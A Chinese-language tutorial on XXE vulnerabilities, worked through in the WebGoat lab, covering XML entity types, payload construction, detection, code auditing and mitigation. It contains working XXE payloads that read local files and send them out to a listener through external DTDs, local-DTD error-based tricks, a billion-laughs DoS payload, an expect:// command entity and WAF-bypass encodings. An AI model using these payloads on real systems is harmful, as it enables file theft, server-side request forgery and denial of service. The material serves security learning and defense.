0x01 前言
做为网络安全从业者,对大部分漏洞名称都熟悉,也大概知道怎么利用,能产生什么危害,比如本文要学习的XXE漏洞。在此之前,只知道这个漏洞是XML解析时存在了问题,引用了外部实体,利用可以用来读取文件、探测内网,某些情况还可以执行命令。但是代码中究竟存在了什么问题,怎么修复;XML实体是什么,都有哪些类型;XXE攻击的类型、利用环境和绕过等这些具体的问题就是只知其一不知其二了。本文基于JAVA的Webgoat漏洞环境来学习XXE漏洞基础知识和各种利用。
0x02 XML外部实体攻击(XXE)
XML 外部实体攻击(XXE)是针对解析 XML 输入的应用程序的一种攻击。当包含对外部实体的引用的 XML 输入被弱配置的 XML 解析器处理时,就会发生这种攻击。这种攻击可能导致机密数据泄露、拒绝服务、服务器端请求伪造、从解析器所在机器的角度进行端口扫描等系统影响。
XML的格式
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
文档类型定义(DTD)
了解XML实体之前先熟悉下DTD,DTD 文件是一种特殊类型的 XML 文件,其中包含有关 XML 格式或结构的信息。它们用于在不同的、单独的 XML 文件之间建立一致性。这些 DTD 文件可以包含一个称为 ENTITY 的元素,DTD可以在XML内部也可以单独存在DTD文件中。XML实体在 DTD 中创建,实体可以利用协议进行系统调用。 内部的DOCTYPE声明:
<!DOCTYPE note [
<!ELEMENT note (to)>
<!ELEMENT to (#PCDATA)>
<!ENTITY to "123">
]>
!DOCTYPE note 定义文档的类型是note;
!ELEMENT note 定义note里的元素;
!ELEMENT to 定义元素to的数据类型是#PCDATA,也可以用ANY;
!ENTITY to 定义元素to的值
外部的DOCTYPE声明:
<!DOCTYPE note SYSTEM "http://x.x.x.x/note.dtd">
独立的DTD文件,为XML中的DTD部分,直接保存为单独的.dtd文件:
<!ELEMENT note (to)>
<!ELEMENT to (#PCDATA)>
<!ENTITY to "123">
XML实体类型
实体是对数据引用,须在DTD中定义。XML中引用实体的方式是&实体名称;
,一般来说需要了解的有下面几种类型:
字符实体
指用十进制格式%
或十六进制格式%
来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。% = % = %
,在a中的值使用字符实体转码%定义参数实体b:
<!DOCTYPE xxe [
<!ENTITY % a "<!ENTITY % b SYSTEM 'http://127.0.0.1:8090/ewq'>">
%a;%b;]>
<root/>
内部实体
指ENTITY没有关键字SYSTEM
,PUBLIC
的实体,如下XML:
<?xml version="1.0" ?>
<!DOCTYPE note [ <!ELEMENT note (to)><!ENTITY to "123">]>
<root>&to;</root>
外部实体
ENTITY中关键字为SYSTEM, PUBLIC “id”格式,具体值是链接指向的文件内容,相当于一个包含效果,将远程的内容用一个内部实体存放到内部dtd中 :
<?xml version="1.0" ?>
<!DOCTYPE a [<!ENTITY e SYSTEM "file:///1.txt">]>
<comment><text>&e;</text></comment>
&
<?xml version="1.0" ?>
<!DOCTYPE a [<!ENTITY e PUBLIC "2" "file:///1.txt">]>
<comment><text>&e;</text></comment>
参数实体
参数实体在dtd文件中或xml的dtd区中定义,定义格式为 <!ENTITY % 实体名称 "实体的值">
,引用格式使用%:%实体名称
:
<?xml version="1.0" ?>
<!DOCTYPE xxe [
<!ENTITY % a SYSTEM "file:///1.txt">
%a;]>
<root/>
<!DOCTYPE test [<!ENTITY % aaa SYSTEM "http://127.0.0.1:8080/ext.dtd">%aaa;]>
参数实体的引用需要注意下面几点:
1.在参数实体中可以引用其他参数实体,但这种引用只能出现在外部DTD子集声明中;
2.参数实体可以定义新的实体;
3.参数实体解析优先级高于其他实体。
为了理解参数实体的利用方式,在Webgoat中XXE例子中进行详细测试,如下位置,想通过param3引用data的值:
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data SYSTEM "file:///c://2.txt">
<!ENTITY % param3 "http://127.0.0.1:8090/txt=%data;">
%param3;
]>
发送后出现了错误“参数实体引用 “%data;” 不能出现在 DTD 的内部子集中的标记内”:
所以在外部DTD中用参数实体引用其他参数实体:
这里发现%data并没有被替换成文件内容发送到http服务器上,这里注意到使用的是SYSTEM关键字,后面的会直接被当成外部的链接了。所以这里既要把读取文件内容的参数实体解析进去又要对外发起请求,就需要有两次实体的引用,一次是将文件内容解析到字符串中,一次是引用外部实体时将数据带出,参数实体很好的具备了这些特性,可以从字符串中定义新的实体,并在dtd中进行引用完成多次的内容替换,所以构造外部dtd文件为:
<!ENTITY % p "<!ENTITY % exfil SYSTEM 'http://127.0.0.1:8090/?id=%data;'>"> %p;%exfil;
在 %p;
解析中 %
解析为%,%data
解析为文件内容 ,内部表现为如下xml,这样再次解析exfil等于一个外部实体引用就可以发起外部DTD的请求了:
<!ENTITY % exfil SYSTEM 'http://127.0.0.1:8090/?id=文件内容'> %exfil;
如果这里使用普通实体来定义新的实体,会直接因为字符 <
抛出异常元素内容必须由格式正确的字符数据或标记组成。
:
所以需要用参数实体来定义新的外部实体。POC发起后,成功在web监听上获取到了文件内容:
这里注意到响应中抛出了Unicode编码的异常:
\u6587\u6863\u7C7B\u578B\u58F0\u660E\u5305\u542B\u6216\u6307\u5411\u7684\u6807\u8BB0\u58F0\u660E\u5FC5\u987B\u683C\u5F0F\u6B63\u786E\u3002
转换过来就是:文档类型声明包含或指向的标记声明必须格式正确。
是因为引用外部的实体不是正确的dtd格式,将服务器返回一个正常的dtd格式,那么就正常了,POC::
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % data SYSTEM "file:///c://2.txt">
<!ENTITY % param3 SYSTEM "http://127.0.0.1:8090/note.dtd">
%param3;
]>
<comment> <text>777&text;</text></comment>
note.dtd:
<!ENTITY % p "<!ENTITY % send SYSTEM 'http://127.0.0.1:8090/2.dtd?text=%data;'>"> %p;%send;
2.dtd:
<!ENTITY text "Hi!!">
理解了参数实体部分,后续构造XXE Payload就比较容易了。
XXE类型
一般来说,可以分为以下类型的 XXE 攻击:
XXE回显注入(Classic XXE) — 一般的XXE,响应直接或间接返回资源内容
XXE盲注(Bind XXE) — 响应中不显示输出或错误
XXE报错注入(Error XXE) — 资源的内容在错误信息中返回
XXE DOS — 利用多重实体嵌套解析消耗服务器内存
在Webgoat中对几种注入进行测试。
XXE回显注入
先传入正常值可在评论列表获得回显信息:
测试实体引用,使用DTD定义实体,发送数据后,观察到内容在评论出回显,说明可以引用实体:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b "666666666666666666666666666666666666666666666666666666666666666666">
]>
<comment><text>&b;</text></comment>
再测试外部实体的引用,尝试使用HTTP协议引用外部DTD文件:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://127.0.0.1:8090/note.dtd">
<comment><text>&b;</text></comment>
外部dtd为note.dtd,内容如下,定义了一个普通实体b,值为 this is dtd:
<!ENTITY b "this is dtd">
观察到评论区回显了远程DTD文件中定义的实体值:
修改POC,测试使用参数实体引用外部DTD:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % x SYSTEM "http://127.0.0.1:8090/note.dtd">
%x;
]>
<comment><text>&p;</text></comment>
外部DTD中参数实体data获取C:\2.txt文件内容,实体p定义为 %data;
的值:
<!ENTITY % data SYSTEM "file:///c://2.txt"> <!ENTITY p "%data;">
通过评论区的回显内容可以看到,成功读取到了C:\2.txt的文件内容。
XXE盲注
有时候没有办法获得回显信息(这里的测试环境会回显错误信息,假装看不见),可以尝试利用带外数据(Out of Band, OOB)进行利用(或者利用一些延时、错误状态码等判断),也就是盲XXE的利用,继续修改上一步的payload,首先发起的XML载荷中定义了两个参数实体,data 值是文件C:\2.txt的内容,param3 值的内容是远程文件note.dtd,然后引用参数实体param3:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % data SYSTEM "file:///c:/2.txt">
<!ENTITY % param3 SYSTEM "http://127.0.0.1:8090/note.dtd">
%param3;
]>
<comment> <text>&text;</text></comment>
引用后会先到 http://127.0.0.1:8090/note.dtd 加载note.dtd,在参数实体的理解中已经知道解析的过程了,引用p后定义send、解析data的值,然后引用send,带着text的值发起远程dtd请求,将数据带出:
<!ENTITY % p "<!ENTITY % send SYSTEM 'http://127.0.0.1:8090/2.dtd?text=%data;'>"> %p;%send;
发送POC后,成功获取到带外数据:
上面是利用参数实体获取文件内容后,请求外部实体时将数据参数发送到服务器。但是如果文件内容存在多行时,会出现错误ParseError at xx Message: Illegal character in URL
:
参考了一些文章Java xxe oob 读取多行文件失败的原因,发现是在JDK中做了限制,数据带外在文件中存在一些如%,&
等特殊字符时也会抛出异常,一些协议(gopher)也在高版本中无法使用。所以说XXE能否深入利用还得看JDK的版本。在测试该类型XXE时,可以使用服务工具XXER,可以开启HTTP和FTP服务获取带外数据:
XXE报错注入
利用XML解析过程中访问不到远程DTD文件返回404造成报错,错误信息中将包含文件内容:
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///c://2.txt">
<!ENTITY % sp SYSTEM "http://127.0.0.1:8090/note.dtd">
%sp;
%param3;
%exfil;
]>
web服务器上8090端口托管的note.dtd:
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'http://127.0.0.1:8090/txt=%data3;'>">
可以看到一边用带外收到了文件内容,一边也在错误信息中回显了,这里的报错是因为加载远程的dtd文件后xml进行解析,我们要读取的文件不符号dtd的格式要求,就抛出了错误:
一般的都可以使用找不到文件的错误来进行回显:
用协议不存在报错读取多行包含:
的文件:
本地DTD利用
在某些情况下,漏洞点支持XML外部实体但是不直接回显数据,在这种情况下选择数据带外和报错回显的方式来利用,但是如果目标系统存在防火墙限制就不能使用数据带外,在报错注入中用到的外部DTD是这样的:
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'http://127.0.0.1:8090/txt=%data3;'>">
在参数实体类型中,不能在DOCTYPE中用实体中包含一个实体,会抛出异常参数实体引用 xxx, 不能出现在 DTD 的内部子集中的标记内
。这时可以通过加载一些本地DTD,通过重定义本地DTD中的实体值进行利用。主要原理是XML在使用实体时,如果两个实体名称相同,则仅使用第一个实体。这样就可以在XML内部对实体进行重新定义然后利用本地DTD来进行参数实体解析,例如在服务器本地存在如下FIle0.dtd文件:
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>
FIle0.dtd文件中有一个condition参数实体,然后在下面ELEMENT标签中对参数实体进行引用定义为pattern的元素。 那么在poc中利用如下,引用FIle0.dtd文件后,重定义参数实体condition :
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % x SYSTEM "file:///C:\\FIle0.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY % file SYSTEM "file:///C:/2.txt">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///21.txt/%file;'>">
%eval;
%error;
<!ENTITY aa(bb'>
%x;
]>
<comment> <text>123</text></comment>
发送POC后成功通过报错回显获得文件内容:
分析POC,其中定义了condition,在%x解析后,File0.dtd的内容其实是在新定义的condition顺序之后,condition会被劫持为我们定义的内容,如下测试可以看到先定义的效果:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b "aaaaaaaaa">
<!ENTITY b "bbbbbbbbb">
<!ENTITY b "ccccccccc">
]>
<comment><text>&b;</text></comment>
我们知道实体就是参数值的引用,就等于把condition的内容放到dtd中,引入时会自动解析一次编码,所以在FIle0.dtd被解析后的XML内部的结果如下:
<!-- <!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> -->
<!ELEMENT pattern ( aaa)>
<!ENTITY % file SYSTEM "file:///C:/2.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///21.txt/%file;'>">
%eval;
%error;
<!ENTITY aa(bb)>
这样一来先用 aaa)>
闭合之前的标签,然后再引入新的参数实体,最后使用<!ENTITY aa(bb
闭合末尾标签,结合起来就跟使用外部实体一样的了,在xml中的定义是一个字符串,符号实体编码会在引用时自动解码,所以单引号转为了'
;百分号转为了&#x25;
,解码一次后还原为%
,再次引用时就还原到参数实体的%
了 。
如何查找这些可利用的本地DTD?在github上有一个可利用的工具,使用java -jar dtd-finder-1.1-all.jar xxx.jar
,这里找了一个jboss的安装包进行扫描,存在一个可利用的dtd:
POC中加上jar协议读取压缩文件,直接在错误中获得文件内容回显:
windows中默认存在一个可利用的dtdC:\Windows\System32\wbem\xml\cim20.dtd
:
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
当然了,将这个C:\Windows\System32\wbem\xml
打包成zip,使用工具扫描一波:
直接利用:
XXE DOS
一个多重实体嵌套的例子:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
XXE的拒绝服务攻击在高版本JDK中进行了缓解,JDK会检测实体嵌套:
XXE协议支持
使用网上的一张图来描述:
PHP中如果开启了expect支持可以进行RCE:
<!ENTITY rce SYSTEM "expect://ifconfig">
JAVA中因为JDK版本原因,gopher在JDK8移除、netdoc(netdoc:///tmp)在JDK9中移除。jar协议的使用方法:
local => jar:file:///var/myarchive.zip!/file.txt
remote => jar:https://download.host.com/myarchive.zip!/file.txt
用jar协议外带数据:
利用jar协议下载临时文件:
利用zip中不存在的文件引发报错,抛出临时文件路径(一般默认是用户temp下C:\Users\<user>\AppData\Local\Temp
,Linux默认在容器temp):
这是一个用来在传输中进行延时的脚本,通过python x.py x.zip
使用(x.zip末尾添加00垃圾字符):
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('\r\nClient req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(300)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
0x03 XXE漏洞挖掘
1.XML格式请求
黑盒测试中主要是对服务器可能解析XML的位置发送XXE载荷观察服务器响应,一般请求中存在Content-Type: application/xml
或者请求体是XML格式的都可以进行测试。
2.JSON格式请求
在一些JSON格式的请求中可以尝试修改请求头为Content-Type: application/xml
,对JSON接口进行XXE测试;或者对JSON格式的数据进行一些破坏来观察服务器响应,在JAVA中有时会出现相关的堆栈报错,可以观察进行处理的类,如果类同时支持XML解析,就可以进行XXE的测试。
3.文件上传XXE
如果支持上传XML文件或上传的文件中可以存在XML数据,就可能存在服务器解析XML的情况,在CSAWQual 2019-Web_Unagi中解析XML文件:
另外在很多xls、xlsx等类型文件上传也会存在XML解释,可以将文件解压后在内部的XML文件中插入Payload进行测试(实例见后文绕过部分):
如下上传xlsx文件进行XXE时遇到了后端JAVA禁用外部实体(禁用了DOCTYPE声明)的情况:
0x04 XXE代码审计
在Webgoat中,漏洞代码在webgoat-lessons中,根据漏洞名称可以找到XXE漏洞源码位置:
代码中使用Mapping注解来注册URL映射。为 @PostMapping
、@GetMapping
、 @RequestMapping
,根据关键字 Mapping 搜索注册的URL地址:
需要说明的是URL映射xxe/comments
是用来获取回显的评论数据的,可以通过这个位置来获得XXE实现后的回显数据:
在第一个文件org/owasp/webgoat/xxe/BlindSendFileAssignment.java
中注册了xxe/bind
路由:
程序通过@RequestBody
注解获取请求体,注解@RequestBody
接收的参数是来自requestBody
中,并将其转换为String类型保存在commentStr变量中,然后检查session属性中是否设置applySecurity开启了安全模式,随后将传入的Body和安全模式状态参数secure传入parseXML进行处理:
接下来需要具体分析comment.parseXML函数的处理,右键选择parseXml转到实现:
parseXML是类Comments的一个方法,通过使用javax.xml.stream.XMLInputFactory
和javax.xml.bind.JAXBContext
处理XML后返回评论的内容,明显可以看到解析类的使用以及内置的缓解方法:
内置的缓解代码通过设置JDK中XMLConstants类属性ACCESS_EXTERNAL_DTD
和ACCESS_EXTERNAL_SCHEMA
,在OWASP备忘录中有详细记录:
// 设置允许对指定协议的外部DTD和外部实体引用的访问。
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
直接patch代码,开启安全措施:
这里错误提示为“无法读取外部文档 ‘note.dtd’, 因为 accessExternalDTD 属性设置的限制导致不允许 ‘http’ 访问”,这两个属性在JDK中的说明如下:
也就是这是一个白名单的设置,可以设置一些允许的协议,这里尝试允许file://
:
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "file");
xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "file");
再来看XMLInputFactory类中安全设置,这里抛出的是“引用了实体 “r”, 但未声明它。”异常:
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); //完全禁用DTD支持
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); //禁用外部实体
这里实验开启DTD支持,但禁用外部实体,parseXml返回为””,CONTENTS.contains(comment.getText())
会返回true:
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); //禁用外部实体
这里的parseXml虽然返回的为””,总体来说还是返回了comment这个类,parseXml返回的只是comment.text,所以这里contains并没有异常,返回了true,等于说CONTENTS.contains("")
返回true,参考Java Contains()方法传入空(非null)字符串的返回结果。
所以这里读取空文件也可以让contains返回true:
经过上面的分析,在代码审计中寻找XXE漏洞,可以通过关键字寻找XML处理类的使用,并检查是否设置了安全限制(setProperty、setAttribute、setXIncludeAware、setExpandEntityReferences、setFeature):
XMLInputFactory(StAX 解析器),一般的禁用代码:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
其他类的禁用代码参考:
javax.xml.stream.XMLInputFactory
...
// This disables DTDs entirely for that factory
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
// disable external entities
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
XMLConstants (包含基本 XML 值作为常量的实用程序类,可用于设置XML安全属性)
javax.xml.XMLConstants
...
.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
常见XML解释类:
javax.xml.stream.XMLInputFactory
javax.xml.bind.JAXBContext
javax.xml.parsers.DocumentBuilderFactory
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
org.xml.sax.SAXParseExceptionpublicId
然后就针对性的对xml处理的位置进行跟踪,查看关键代码是否进行了安全处理。
更多详情:https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
0x05 XXE绕过
这两种绕过同样是在CSAWQual 2019-Web_Unagi用到的
1.UTF-7编码
编码网页工具:http://toolswebtop.com/text/process/decode/UTF-7
将POC转换为UTF-7编码:
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
编码结果:
+ADwAIQ-DOCTYPE users +AFs
+ADwAIQ-ENTITY xxe SYSTEM +ACI-file:///C:/Windows/win.ini+ACI +AD4AXQA+-
绕过WAF:
在PhpSpreadsheet的issues中也可以看到这样的XXE绕过方式:
2.文件编码转换
将文件的编码转换为UTF16,网上大部分都是这种方法:
iconv -f utf8 -t utf16 sample.xml>2.xml
0x06 参考
PhpSpreadsheet XXE
Java EXCEL XXE
一篇文章带你深入理解漏洞之 XXE 漏洞
XXE漏洞原理及利用
Advanced XXE Exploitation
本地DTD利用
微信XXE修复
XXE拒绝服务攻击Billion Laughs
OWASP XML 外部实体预防
利用本地 DTD 文件利用 XXE